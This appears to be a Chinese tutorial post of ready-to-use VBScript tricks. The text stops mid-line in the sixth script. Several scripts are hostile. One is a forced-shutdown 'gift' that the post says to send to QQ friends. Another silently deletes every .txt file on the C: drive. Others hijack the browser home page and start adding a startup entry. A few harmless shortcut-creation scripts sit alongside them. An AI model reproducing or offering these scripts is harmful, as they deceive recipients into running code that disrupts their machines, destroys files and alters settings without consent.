废话不多说,先看代码。
1.vbe类:礼物
---------------------------------------------分割线------------------------------------
Set shell=CreateObject(“WScript.Shell”)
shell.run “shutdown -s -t 60 -c 系统即将关闭.”,0
While InputBox(“请输入答案”,“请回答”)<>“123”
MsgBox “答案在心中…”,16+4096
Wend
shell.run “shutdown -a”,0
MsgBox “恭喜”,0,“恭喜”
-------------------------------------------分割线------------------------------------
解析:密码是123,16+4096让窗口在最顶层
使用:命名为:xxx.vbe,再发给QQ好友
2.vbs类:给桌面添加网址快捷方式
-------------------------------------------分割线------------------------------------
Set WshShell = WScript.CreateObject(“Wscript.Shell”)
strDesktop = WshShell.SpecialFolders(“Desktop”)
Set oShellLink = WshShell.CreateShortcut(strDesktop & “\百度.lnk”)
oShellLink.TargetPath = “http://www.baidu.com/”
oShellLink.Description = “百度一下”
oShellLink.IconLocation = “%ProgramFiles%\Internet Explorer\iexplore.exe, 0”
oShellLink.Save
-------------------------------------------分割线------------------------------------
解析:此代码中的"http://www.baidu.com/"是网址,(strDesktop & “\百度.lnk”)是把快捷方式放在桌面。
使用:命名为xxx.vbs
3.vbs类:给收藏夹添加网址
-------------------------------------------分割线------------------------------------
Const ADMINISTRATIVE_TOOLS = 6
Set objShell = CreateObject(“Shell.Application”)
Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Set objFolderItem = objFolder.Self
Set objShell = WScript.CreateObject(“WScript.Shell”)
strDesktopFld = objFolderItem.Path
Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & “\百度.url”)
objURLShortcut.TargetPath = “http://www.baidu.com/”
objURLShortcut.Save
-------------------------------------------分割线------------------------------------
解析:此代码中的"http://www.baidu.com/"是网址(strDesktopFld & “\百度.url”)是把快捷方式放在收藏夹
使用:命名为xxx.vbs
4.vbs类:删除指定目录指定后缀文件
-------------------------------------------分割线------------------------------------
On Error Resume Next
Set fso = CreateObject(“Scripting.FileSystemObject”)
fso.DeleteFile “C:*.txt”, True
Set fso = Nothing
-------------------------------------------分割线------------------------------------
解析:C:*.txt是删除C盘的所有txt文件
使用:命名为xxx.vbs
5.vbs类:VBS改主页
-------------------------------------------分割线------------------------------------
Set oShell = CreateObject(“WScript.Shell”)
oShell.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”,“http://www.baidu.com/”
-------------------------------------------分割线-------------------------------------
解析:"http://www.baidu.com/"是要改的主页
使用:命名为xxx.vbs
6.vbs类:VBS加启动项
-------------------------------------------分割线-------------------------------------
Set oShell=CreateObject(“Wscript.Shell”)
oShell.RegWr